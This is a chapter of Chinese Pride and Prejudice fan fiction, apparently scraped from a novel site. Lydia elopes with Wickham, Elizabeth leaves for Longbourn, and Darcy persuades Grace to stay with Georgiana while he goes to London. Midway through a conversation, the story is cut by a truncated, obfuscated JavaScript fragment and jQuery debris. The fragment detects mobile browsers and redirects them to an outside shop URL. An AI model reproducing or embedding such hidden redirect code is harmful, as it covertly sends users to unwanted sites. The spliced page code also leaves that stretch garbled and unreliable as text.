文趣网 > 其他小说 > [傲慢与偏见]镜中的格蕾丝 > 29.突闻噩耗
    格蕾丝和伊丽莎白早早就起了床。她们兴致勃勃地整理着画板和水彩颜料,准备兑现昨天对乔治安娜许下的承诺。

    突然,一阵急促的马蹄声打破了宁静。旅馆的老板气喘吁吁地跑上楼,手里捏着封信件。

    “贝内特小姐,这是从赫特福德郡发来的急件!”

    伊丽莎白微笑着接过信,认出那是简的字迹,随即拆开信封,快速阅读。

    “天啊!上帝啊!”伊丽莎白猛地跌坐在扶手椅里,绝望地捂住了脸颊。信纸从她颤抖的手中滑落。

    格蕾丝立刻扑到伊丽莎白身边,揽住她的肩膀。

    “丽兹,出什么事了?”

    伊丽莎白连一句完整的话都说不出来,只能哆嗦地指着地上的信纸。格蕾丝迅速捡起信,却发现简那平时端正秀丽的字迹此刻显得凌乱不堪:

    “我怀着最沉痛的心情写下这封信,我可怜的妹妹们。莉迪亚出事了。她和维克汉姆先生私奔了!他们从布莱顿离开,原本以为是去了苏格兰结婚,可是后来福斯特上校传来的消息却犹如晴天霹雳。维克汉姆根本没有结婚的打算,他不仅留下了一大笔赌债,还带着莉迪亚销声匿迹了!父亲已经赶往伦敦寻找,母亲整日以泪洗面,家里已经乱成了一锅粥……”

    格蕾丝先是感到震惊,随后又被悲愤充斥着。愚蠢至极的人!哪怕维克汉姆已经在梅里顿身败名裂,莉迪亚却依然天真得被他几句花言巧语拐走,何等不可理喻!

    对于一个体面的绅士家庭来说,这简直是一场灭顶之灾。莉迪亚的清白毁于一旦,而贝内特家所有未婚女儿的名誉,也将随之陪葬。

    “如果我们早知道……如果我们从一开始就能狠下心来阻止她!”伊丽莎白痛苦地抽噎着,泪水喷涌而出,“我早该把维克汉姆的真面目公之于众!是我害了莉迪亚,是我害了我们全家!”

    格蕾丝紧紧地握着伊丽莎白的手,眼泪同样止不住地往下流。她内心的绝望与自责一点也不比伊丽莎白少。她比任何人都清楚,维克汉姆究竟是怎样一个擅长诱骗年轻女孩,再将她们的人生彻底毁掉的恶徒。为了保守秘密,她选择三缄其口,却不可避免地酿成了另一桩悲剧。

    与此同时,乔治安娜正焦急地在画室里踱步。画架已经支好,调色盘里的颜料也已经挤出,可她期盼的两位姐姐却迟迟没有出现。

    是不是她们在路上遇到了什么麻烦?还是身体抱恙?最终,她实在按捺不住内心的焦灼,跑向了哥哥的书房。

    达西先生正坐在书桌前翻阅着伦敦寄来的报表。听到妹妹的担忧,他的心头不由得涌上一种不详的预感。

    “别担心,乔治安娜,我现在就去兰布顿的旅馆看看。”达西先生立刻站起身,连外套都来不及换,便匆匆命人备马。

    他赶到旅馆,眼前的景象让他深受震撼。

    房间里弥漫着令人窒息的悲伤。伊丽莎白颓然地靠在沙发上,泣不成声;而格蕾丝则跪坐在她身边,脸色苍白。

    “天啊,究竟发生了什么事?”

    格蕾丝猛地抬起头,正在犹豫着是否应该将这件骇人听闻的丑事告诉达西先生。

    伊丽莎白已经无法组织语言,达西先生只好将祈求的目光投向格蕾丝。

    她强迫自己冷静下来,试图陈述这个痛彻心扉的事实:“达西先生……莉迪亚,贝内特家最小的妹妹,她……和一个男人私奔了。而那个男人根本没有和她结婚的打算。他们现在不知去向。”

    “是谁?”他的面色骤然沉了下来。

    “是乔治·维克汉姆先生。”格蕾丝咬牙切齿地吐出这个名字,眼泪再次夺眶而出。

    维克汉姆!又是维克汉姆!那个曾经试图毁掉他妹妹一生的卑鄙小人,如今竟然将魔爪伸向了贝内特家天真无知的妹妹!

    他咬紧牙关,眼中翻滚着滔天的怒火,同时夹杂着深切的懊悔。他心想,如果他早一点抛开所谓的家族颜面,将维克汉姆的无耻行径公之于众,贝内特家就不会落入他的陷阱!

    就在这时,门外传来了脚步声。加德纳先生和加德纳太太刚刚散步归来。

    两位长辈看到屋内的情景,也陷入了惊慌之中。加德纳先生迅速阅读完信件,面色凝重。

    “我们必须立刻行动!”加德纳先生果决地做出判断,“伊丽莎白,马上收拾行李。我们即刻启程返回朗博恩。我把你们送回家后,就立刻去伦敦找你的父亲。我们必须在事情变得彻底无法挽回之前找到他们!”

    房间里顿时忙碌起来。女仆被叫进来打包行李,加德纳太太则安慰着流泪的伊丽莎白。格蕾丝坐立难安,来回徘徊。

    达西先生沉默地站在一旁,脑海中正在飞速地盘算着一切。紧接着,他走到格蕾丝面前,轻轻握住了她的手腕。

    “格蕾丝小姐,请借一步说话。”他将格蕾丝带到了隔壁一间空置的起居室,将所有的喧闹与慌乱隔绝在外。

    两人相对而立。她的身体还在抑制不住地发抖。

    达西先生心痛不已。他情不自禁地抬起双手,轻抚她的双臂。

    “格蕾丝小姐,请听我说。接下来的日子,朗博恩会陷入极其混乱的境地。加德纳先生会立马带着伊丽莎白小姐回家,但请你……不要跟着他们回去。”

    “我必须回去!现在正是丽兹最需要支持的时候,我怎么能抛下她独享安宁?”

    “你回去也改变不了任何事情,这毕竟是贝内特家的私事。维克汉姆是个亡命之徒,混迹于伦敦的地下赌场,想要找到他绝非易事。如果你此时回去,一定也会深陷在流言蜚语中,而我不想那样的事情发生。”

    格蕾丝震惊地微张着嘴,她心中翻涌着无边的苦涩。他不会明白,那就是她的家事!

    “达西先生,很抱歉我不能接受你的提议。贝内特家对我来说,不仅仅是收留我的救命恩人那么简单,他们早就成了我心中最亲近的家人。若我此刻临阵脱逃,实在是辜负了他们对我的一片恩情。我的良知不允许我这么做……”

    “我知道你对他们情深义重。但请容我说明,年轻未婚小姐实在是不适合卷入寻找私奔女性的事务。”

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17569274|203965||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >“更何况,”达西先生低垂下眼帘,“这场灾难,我难辞其咎。如果我早点揭穿他,伊丽莎白小姐的妹妹就不会受骗。如果我能早日认清他不知悔改的嘴脸,就不会再与他纠缠不清。这是我的罪过,必须由我来弥补。”

    他深吸一口气,重新振奋起精神。

    “剩下的事情,交给我去解决。我会立刻启程前往伦敦,去协助加德纳先生。我向上帝起誓,我一定会找到他们的踪迹,保全贝内特家的名誉。”

    “可是这怎么可以?”格蕾丝慌乱地摇着头,“达西先生,你不应该……”

    “请允许我替你处理此事。我不能坐视不管,让你白白忧心。若能减轻你的痛苦,我愿尽力而为。乔治安娜一直在等你。如果让她知道维克汉姆再次出现,并且酿成了这样的惨剧,她一定会回想起过去的可怕经历。乔治安娜如今非常依赖你。若你愿意留下陪伴她,我会安心许多。”

    格蕾丝的理智在剧烈地撕扯。灵魂深处的“伊丽莎白”叫嚣着,让她想要立刻回到朗博恩陪伴父母,寻找妹妹。可是现实的逻辑却告诉她,作为一个没有血缘关系的外人,她跟着回去只会添乱。与此同时,她不能让乔治安娜知道关于这场闹剧的任何消息,彭伯利需要有人稳定局面。

    最终,在达西先生恳切的注视下,格蕾丝缓缓地点了点头。

    “感激不尽,格蕾丝小姐。”达西先生舒展了紧锁的眉头,“等我的消息,我保证,一切都会好起来的。”

    当他们回到大房间时,行李已经收拾妥当。加德纳夫妇虽然对于让格蕾丝留在彭伯利的决定有些惊讶,但考虑到家中目前必定是一片混乱,便也觉得这是保护她免受丑闻波及的好办法。

    伊丽莎白紧紧地拥抱了格蕾丝,红着眼眶说道:“我会及时给你写信,不要太担心。”

    “抱歉,丽兹。替我……照顾好朗博恩的大家。”

    马车在旅馆门前备好。伊丽莎白和加德纳夫妇与格蕾丝匆匆道别。

    在此之后,达西先生亲自护送格蕾丝前往彭伯利。当她在宅邸前下车时,乔治安娜已经飞奔着迎了出来。

    “格蕾丝姐姐!你终于来了!伊丽莎白姐姐呢?”乔治安娜的脸上洋溢着纯真无邪的笑容,她亲昵地挽住格蕾丝的手臂。

    格蕾丝强行将错综复杂的思绪压在心底。她调整好呼吸,尽量让自己的声音听起来平稳自然。

    “伊丽莎白临时收到家里的信,和舅舅舅妈先回去了。不过,我留下来了。接下来这几天,就由我来陪着你,好吗?”

    “那真是太好了!只是,哥哥刚才走得好急,连早餐都没吃,现在又开始收拾行李了,他要去哪里呢?”

    “你哥哥突然有些要紧的事务,要去伦敦一趟,他很快就会回来的。”

    乔治安娜并没有怀疑,欢呼雀跃地拉着格蕾丝往画室走去。

    达西先生已经安排好了一切,稍作收拾就马不停蹄地出发。

    明媚的日光漫过长廊,彭伯利庄园一如往昔般沉静。可他们两人,一个走向光明,一个却奔赴暗夜。